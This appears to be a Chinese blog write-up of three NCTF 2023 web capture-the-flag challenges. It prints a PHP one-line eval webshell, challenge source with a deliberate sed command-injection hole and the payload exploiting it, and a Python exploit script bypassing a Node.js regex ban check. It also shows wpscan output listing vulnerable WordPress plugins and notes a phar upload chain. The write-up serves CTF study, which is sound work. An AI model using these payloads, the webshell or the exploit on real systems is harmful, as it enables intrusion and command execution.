2023_NCTF_Web部分题目复现

芜湖,爆零了 :)


Webshell Generator

题目描述:生成你的专属Webshell!

一句话木马生成器,可以控制请求方法、密钥和文件名称,点了生成会自动下载一句话木马文件:

2023nctfwebshell2

1
2
//webshell.php
<?php eval($_POST["114"]);

这里很容易想到任意文件下载,抓个包:

2023nctfwebshell5

POST之后会重定向到download.php页面下载文件,URL格式:download.php?file=/tmp/i4ar6mxnweaozfl9&filename=webshell.php。通过修改file尝试下载download.phpindex.php

2023nctfwebshell6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
//index.php
<?php
function security_validate()
{
foreach ($_POST as $key => $value) {
if (preg_match('/\r|\n/', $value)) {
die("$key 不能包含换行符!");
}
if (strlen($value) > 114) {
die("$key 不能超过114个字符!");
}
}
}
security_validate();
if (@$_POST['method'] && @$_POST['key'] && @$_POST['filename']) {
if ($_POST['language'] !== 'PHP') {
die("PHP是最好的语言");
}
$method = $_POST['method'];
$key = $_POST['key'];
putenv("METHOD=$method") or die("你的method太复杂了!");
putenv("KEY=$key") or die("你的key太复杂了!");
$status_code = -1;
$filename = shell_exec("sh generate.sh");
if (!$filename) {
die("生成失败了!");
}
$filename = trim($filename);
header("Location: download.php?file=$filename&filename={$_POST['filename']}");
exit();
}
?>
<html>

<head>
<title>Webshell生成器</title>
<meta charset="utf-8">
<style>
body {
background-color: #f2f2f2;
font-family: Arial, sans-serif;
}

form {
margin: 50px auto;
width: 400px;
background-color: #fff;
padding: 20px;
border-radius: 10px;
box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.2);
}

h1 {
text-align: center;
color: #333;
}

label {
display: block;
margin-bottom: 10px;
color: #666;
}

input[type="text"],
select {
width: 100%;
padding: 10px;
border-radius: 5px;
border: none;
margin-bottom: 20px;
box-sizing: border-box;
}

input[type="submit"] {
background-color: #4CAF50;
color: #fff;
border: none;
padding: 10px 20px;
border-radius: 5px;
cursor: pointer;
}

input[type="submit"]:hover {
background-color: #3e8e41;
}
</style>
</head>

<body>
<form action="index.php" method="post">
<h1>Webshell生成器</h1>
<label for="language">Webshell语言:</label>
<select name="language" id="method">
<option value="PHP">PHP</option>
<option value="PHP">PHP</option>
<option value="PHP">PHP</option>
<option value="PHP">PHP</option>
<option value="PHP">PHP</option>
<option value="PHP">PHP</option>
<option value="PHP">PHP</option>
<option value="PHP">PHP</option>
<option value="PHP">PHP</option>
<option value="PHP">PHP</option>
</select>
<label for="method">请求方法:</label>
<select name="method" id="method">
<option value="POST">POST</option>
<option value="GET">GET</option>
<option value="REQUEST">REQUEST</option>
</select>
<label for="key">密钥:</label>
<input name="key" type="text" value="114" pattern="[A-Za-z0-9]+" title="你的key太复杂了!简单点!o.O">
<label for="filename">Webshell文件名称:</label>
<input name="filename" type="text" value="webshell.php">
<input type="submit" value="生成你的专属Webshell!">
</form>
</body>
//download.php
<?php

if(isset($_GET['file']) && isset($_GET['filename'])){
$file = $_GET['file'];
$filename = $_GET['filename'];
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=$filename");
readfile($file);
exit();
}

注意这里,执行了shell脚本文件:

1
2
3
4
putenv("METHOD=$method") or die("你的method太复杂了!");
putenv("KEY=$key") or die("你的key太复杂了!");
$status_code = -1;
$filename = shell_exec("sh generate.sh");

下载generate.sh文件,这东西大致意思就是对模板内容进行了替换:

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh

set -e

NEW_FILENAME=$(tr -dc a-z0-9 </dev/urandom | head -c 16)
cp template.php "/tmp/$NEW_FILENAME"
cd /tmp

sed -i "s/KEY/$KEY/g" "$NEW_FILENAME"
sed -i "s/METHOD/$METHOD/g" "$NEW_FILENAME"

realpath "$NEW_FILENAME"

templete.php:

1
2
3

<?php eval($_METHOD["KEY"]);

这题看着wp做的:

1
2
3
/g;1e /readflag;s//
即:
sed -i "s/KEY//g;1e /readflag;s///g" "$NEW_FILENAME"

s/KEY//g这东西是个替换操作,将$NEW_FILENAME这个文件里所有的KEY都替换成空。;用来分隔多个sed命令。e这东西可以用来执行系统命令(比如/readflag),前面加个1表示将执行结果插入到文件第一行。后面又用了一个;分割并将所有空字符串替换成空字符串。

KEYMETHOD都可控,随便改一个就行。

最后注意这里:

1
<input name="key" type="text" value="114" pattern="[A-Za-z0-9]+" title="你的key太复杂了!简单点!o.O">

简单前端验证,抓包修改就行。

Wait What?

题目描述:这怎么可能呢?

nctfwaitwhat1

app.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158

const express = require('express');
const child_process = require('child_process')
const app = express()
app.use(express.json())
const port = 80

function escapeRegExp(string) {
return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}

let users = {
"admin": "admin",
"user": "user",
"guest": "guest",
'hacker':'hacker'
}

let banned_users = ['hacker']

// 你不准getflag
banned_users.push("admin")

let banned_users_regex = null;
function build_banned_users_regex() {
let regex_string = ""
for (let username of banned_users) {
regex_string += "^" + escapeRegExp(username) + "$" + "|"
}
regex_string = regex_string.substring(0, regex_string.length - 1)
banned_users_regex = new RegExp(regex_string, "g")
}

//鉴权中间件
function requireLogin(req, res, next) {
let username = req.body.username
let password = req.body.password
if (!username || !password) {
res.send("用户名或密码不能为空")
return
}
if (typeof username !== "string" || typeof password !== "string") {
res.send("用户名或密码不合法")
return
}
// 基于正则技术的封禁用户匹配系统的设计与实现
let test1 = banned_users_regex.test(username)
console.log(`使用正则${banned_users_regex}匹配${username}的结果为:${test1}`)
if (test1) {
console.log("第一个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
// 基于in关键字的封禁用户匹配系统的设计与实现
let test2 = (username in banned_users)
console.log(`使用in关键字匹配${username}的结果为:${test2}`)
if (test2){
console.log("第二个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
if (username in users && users[username] === password) {
next()
return
}
res.send("用户名或密码错误,鉴权失败!")
}

function registerUser(username, password) {
if (typeof username !== "string" || username.length > 20) {
return "用户名不合法"
}
if (typeof password !== "string" || password.length > 20) {
return "密码不合法"
}
if (username in users) {
return "用户已存在"
}

for(let existing_user in users){
let existing_user_password = users[existing_user]
if (existing_user_password === password){
return `您的密码已经被用户'${existing_user}'使用了,请使用其它的密码`
}
}

users[username] = password
return "注册成功"
}

app.use(express.static('public'))

// 每次请求前,更新封禁用户正则信息
app.use(function (req, res, next) {
try {
build_banned_users_regex()
console.log("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):",banned_users_regex)
} catch (e) {
}
next()
})

app.post("/api/register", (req, res) => {
let username = req.body.username
let password = req.body.password
let message = registerUser(username, password)
res.send(message)
})

app.post("/api/login", requireLogin, (req, res) => {
res.send("登录成功!")
})

app.post("/api/flag", requireLogin, (req, res) => {
let username = req.body.username
if (username !== "admin") {
res.send("登录成功,但是只有'admin'用户可以看到flag,你的用户名是'" + username + "'")
return
}
let flag = child_process.execSync("cat flag").toString()
res.end(flag)
console.error("有人获取到了flag!为了保证题目的正常运行,将会重置靶机环境!")
res.on("finish", () => {
setTimeout(() => { process.exit(0) }, 1)
})
return
})

app.post('/api/ban_user', requireLogin, (req, res) => {
let username = req.body.username
let ban_username = req.body.ban_username
if(!ban_username){
res.send("ban_username不能为空")
return
}
if(username === ban_username){
res.send("不能封禁自己")
return
}
for (let name of banned_users){
if (name === ban_username) {
res.send("用户已经被封禁")
return
}
}
banned_users.push(ban_username)
res.send("封禁成功!")
})



app.get("/", (req, res) => {
res.redirect("/static/index.html")
})

app.listen(port, () => {
console.log(`listening on port ${port}`)
})

一点一点分析:首先定义users对象并设置banned_users数组,然后把admin放里面去。

1
2
3
4
5
6
7
8
9
10
11
let users = {
"admin": "admin",
"user": "user",
"guest": "guest",
'hacker':'hacker'
}

let banned_users = ['hacker']

// 你不准getflag
banned_users.push("admin")

只有admin用户才能拿flag,但刚刚admin已经被丢到banned_users里面了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.post("/api/flag", requireLogin, (req, res) => {
let username = req.body.username //从请求体中获取用户名
if (username !== "admin") {
res.send("登录成功,但是只有'admin'用户可以看到flag,你的用户名是'" + username + "'")
return
}
let flag = child_process.execSync("cat flag").toString()
res.end(flag)
console.error("有人获取到了flag!为了保证题目的正常运行,将会重置靶机环境!")
res.on("finish", () => {
setTimeout(() => { process.exit(0) }, 1)
})
return
})

waf中正则表达式的设置:简单说就是遍历banned_users这个数组,然后拼成类似^admin$|^hacker$这种字符串放到正则表达式里。

1
2
3
4
5
6
7
8
9
let banned_users_regex = null;
function build_banned_users_regex() {
let regex_string = ""
for (let username of banned_users) {
regex_string += "^" + escapeRegExp(username) + "$" + "|"
}
regex_string = regex_string.substring(0, regex_string.length - 1)//这里是去掉最后一个|
banned_users_regex = new RegExp(regex_string, "g")//将regex_string转换为正则表达式对象
}

看了下全局标志g

nctfwaiatwhat2

接下来是两个waf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 基于正则技术的封禁用户匹配系统的设计与实现
let test1 = banned_users_regex.test(username)
console.log(`使用正则${banned_users_regex}匹配${username}的结果为:${test1}`)
if (test1) {
console.log("第一个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}
// 基于in关键字的封禁用户匹配系统的设计与实现
let test2 = (username in banned_users)
console.log(`使用in关键字匹配${username}的结果为:${test2}`)
if (test2){
console.log("第二个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}

这里先看第二个waf,注意这里:username in banned_users

如果指定的属性在指定的对象或其原型链中,则 in 运算符返回 true

这东西对于数组其实检查的是下标,看几个栗子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const car = { make: 'Honda', model: 'Accord', year: 1998 };

console.log('make' in car);

//true
const car = { make: 'Honda', model: 'Accord', year: 1998 };

console.log('Honda' in car);

//false

> 'admin' in ['admin']
false

> '0' in ['admin']
true

由于 banned_users 为 Array 类型,不存在 admin 属性,因此 test2 实际上判断的是banned_users中是否存在数组索引为username的值(由于对象的属性名称会被隐式转换为字符串,”0”和0都可以作为数组索引)

所以第二个waf没啥用,再看第一个:

1
2
3
4
5
6
7
8
9
10
// 基于正则技术的封禁用户匹配系统的设计与实现
let test1 = banned_users_regex.test(username)
console.log(`使用正则${banned_users_regex}匹配${username}的结果为:${test1}`)
if (test1) {
console.log("第一个判断匹配到封禁用户:",username)
res.send("用户'"+username + "'被封禁,无法鉴权!")
return
}

banned_users_regex = new RegExp(regex_string, "g")//将regex_string转换为正则表达式对象

正则判断部分使用了banned_users_regex.test()函数,并且new RegExp(regex_string, "g") 定义了 g 的全局标志:

test() 方法执行一个检索,用来查看正则表达式与指定的字符串是否匹配。返回 truefalse

如果正则表达式设置了全局标志,test() 的执行会改变正则表达式 lastIndex属性。连续的执行test()方法,后续的执行将会从 lastIndex 处开始匹配字符串

比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
> let r = /^admin$/g

> r.lastIndex
0

> r.test("admin")
true

> r.lastIndex
5

>r.test("admin")
false

> r.lastIndex
0

所以可以利用这个特性让正则表达式判断两次admin去绕过检测。

但注意这里,每次请求的时候都会创建一个新的banned_users_regex来更新封禁用户的正则信息,恢复lastIndex的位置。

1
2
3
4
5
6
7
8
9
// 每次请求前,更新封禁用户正则信息
app.use(function (req, res, next) {
try {
build_banned_users_regex()
console.log("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):",banned_users_regex)
} catch (e) {
}
next()
})

但这个try catch告诉我们:如果传入的数据导致报错,就可以跳过正则表达式的更新:

1
2
3
4
5
6
7
8
function escapeRegExp(string) {
return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}
//这函数的作用就是将需要转义的字符串替换为斜杠+其本身
function build_banned_users_regex() {
let regex_string = ""
for (let username of banned_users) {
regex_string += "^" + escapeRegExp(username) + "$" + "|"

注意,replace是针对字符串对象的一个方法,所以我们可以通过传入string参数为非字符串类型来抛出异常,从而绕过regex更新。

/ban_user这个路由没对用户输入进行任何过滤、转义等。理论上我们可以构造任意输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
app.post('/api/ban_user', requireLogin, (req, res) => {
let username = req.body.username
let ban_username = req.body.ban_username
if(!ban_username){
res.send("ban_username不能为空")
return
}
if(username === ban_username){
res.send("不能封禁自己")
return
}
for (let name of banned_users){
if (name === ban_username) {
res.send("用户已经被封禁")
return
}
}
banned_users.push(ban_username)
res.send("封禁成功!")
})

现在解题思路就清晰了:

  • 访问 /api/ban_user 路由,构造传入参数 ban_username 为 对象、数组 等其他数据类型
  • 访问 /api/flag ,正则匹配成功,使得 regex 的 lastIndex 移至 “admin”.length 以后
  • 访问 /api/flag,正则匹配失败,成功绕过正则 waf,正则 waf 返回 false,获得 flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

remote_addr="http://117.50.175.234:9001"

rs = requests.Session()

resp = rs.post(remote_addr+"/api/register",json={"username":"test","password":"test"})
print(resp.text)

resp = rs.post(remote_addr+"/api/ban_user",json={"username":"test","password":"test","ban_username":{"a":1}})
print(resp.text)

resp = rs.post(remote_addr+"/api/flag",json={"username":"admin","password":"admin"})
print(resp.text)
resp = rs.post(remote_addr+"/api/flag",json={"username":"admin","password":"admin"})
print(resp.text)

ez_wordpress[未做完]

Hint 1: 可以思考下如何对 WordPress 进行信息收集

Hint 2: 注意版本 (6.4.1) 注意一些第三方的东西

Hint 3: 结合信息收集和网上已有的东西就可以自己本地搭建一个类似的环境进行测试 涉及的代码审计部分其实很少

Hint 4: https://wwnt.lanzout.com/iwUdK1ir03te

Hint 5: upload phar + file read (ssrf) => rce

Hint 6: 请不要使用 burp 的 Paste from file 功能 (存在 bug) 建议手动构造 upload.html 然后浏览器选择文件抓取上传包 或者写 python 脚本上传 或者使用 yakit

wpscan直接扫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
viper3㉿kali)-[~]
└─$ wpscan --url http://124.71.184.68:8012/ --api-token xxxxxxxxxxxxx
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://124.71.184.68:8012/ [124.71.184.68]
[+] Started: Sat Dec 30 17:37:30 2023

Interesting Finding(s):

[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.54 (Debian)
| - X-Powered-By: PHP/7.4.33
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://124.71.184.68:8012/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://124.71.184.68:8012/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://124.71.184.68:8012/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.4.1 identified (Insecure, released on 2023-11-09).
| Found By: Emoji Settings (Passive Detection)
| - http://124.71.184.68:8012/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=6.4.1'
| Confirmed By: Meta Generator (Passive Detection)
| - http://124.71.184.68:8012/, Match: 'WordPress 6.4.1'
|
| [!] 1 vulnerability identified:
|
| [!] Title: WP 6.4-6.4.1 - POP Chain
| Fixed in: 6.4.2
| References:
| - https://wpscan.com/vulnerability/2afcb141-c93c-4244-bde4-bf5c9759e8a3
| - https://fenrisk.com/publications/blogpost/2023/11/22/gadgets-chain-in-wordpress/

[+] WordPress theme in use: twentytwentyfour
| Location: http://124.71.184.68:8012/wp-content/themes/twentytwentyfour/
| Readme: http://124.71.184.68:8012/wp-content/themes/twentytwentyfour/readme.txt
| Style URL: http://124.71.184.68:8012/wp-content/themes/twentytwentyfour/style.css
|
| Found By: Urls In Homepage (Passive Detection)
|
| The version could not be determined.

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] all-in-one-video-gallery
| Location: http://124.71.184.68:8012/wp-content/plugins/all-in-one-video-gallery/
| Last Updated: 2023-09-01T08:47:00.000Z
| [!] The version is out of date, the latest version is 3.5.2
|
| Found By: Urls In Homepage (Passive Detection)
|
| [!] 2 vulnerabilities identified:
|
| [!] Title: All-in-One Video Gallery 2.5.8 - 2.6.0 - Unauthenticated Arbitrary File Download & SSRF
| Fixed in: 2.6.1
| References:
| - https://wpscan.com/vulnerability/852c257c-929a-4e4e-b85e-064f8dadd994
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2633
|
| [!] Title: Freemius SDK < 2.5.10 - Reflected Cross-Site Scripting
| Fixed in: 3.4.3
| References:
| - https://wpscan.com/vulnerability/7fd1ad0e-9db9-47b7-9966-d3f5a8771571
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33999
|
| Version: 2.6.0 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://124.71.184.68:8012/wp-content/plugins/all-in-one-video-gallery/README.txt

[+] contact-form-7
| Location: http://124.71.184.68:8012/wp-content/plugins/contact-form-7/
| Last Updated: 2023-12-19T04:49:00.000Z
| [!] The version is out of date, the latest version is 5.8.5
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 5.8.4 (90% confidence)
| Found By: Query Parameter (Passive Detection)
| - http://124.71.184.68:8012/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.4
| Confirmed By: Readme - Stable Tag (Aggressive Detection)
| - http://124.71.184.68:8012/wp-content/plugins/contact-form-7/readme.txt

[+] drag-and-drop-multiple-file-upload-contact-form-7
| Location: http://124.71.184.68:8012/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
| Last Updated: 2023-12-05T07:37:00.000Z
| [!] The version is out of date, the latest version is 1.3.7.4
|
| Found By: Urls In Homepage (Passive Detection)
|
| [!] 4 vulnerabilities identified:
|
| [!] Title: Drag and Drop Multiple File Upload - Contact Form 7 < 1.3.6.3 - Unauthenticated Stored XSS
| Fixed in: 1.3.6.3
| References:
| - https://wpscan.com/vulnerability/1b849957-eaca-47ea-8f84-23a3a98cc8de
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0595
| - https://plugins.trac.wordpress.org/changeset/2686614
|
| [!] Title: Drag and Drop Multiple File Upload < 1.3.6.5 - File Upload Size Limit Bypass
| Fixed in: 1.3.6.5
| References:
| - https://wpscan.com/vulnerability/035dffef-4b4b-4afb-9776-7f6c5e56452c
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3282
|
| [!] Title: Drag and Drop Multiple File Upload – Contact Form 7 < 1.3.6.6 - File Upload and File deletion via CSRF
| Fixed in: 1.3.6.6
| References:
| - https://wpscan.com/vulnerability/e6a76476-e086-473d-bc1e-3264c85b2441
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45364
|
| [!] Title: Drag and Drop Multiple File Upload - Contact Form 7 < 1.3.7.4 - Unauthenticated Arbitrary File Upload
| Fixed in: 1.3.7.4
| References:
| - https://wpscan.com/vulnerability/d758ce63-73fb-46a6-9cc7-c114db2e2512
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-5822
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/1b3be300-5b7f-4844-8637-1bb8c939ed4c
|
| Version: 1.3.6.2 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://124.71.184.68:8012/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/readme.txt

注意:

ezwordpress1

ezwordpress2

ezwordpress3

文件上传: 上传Phar类型文件

文件下载:触发Phar


2023_NCTF_Web部分题目复现
http://example.com/2023/12/31/2023NCTF_web题目复现/
作者
notbad3
发布于
2023年12月31日
许可协议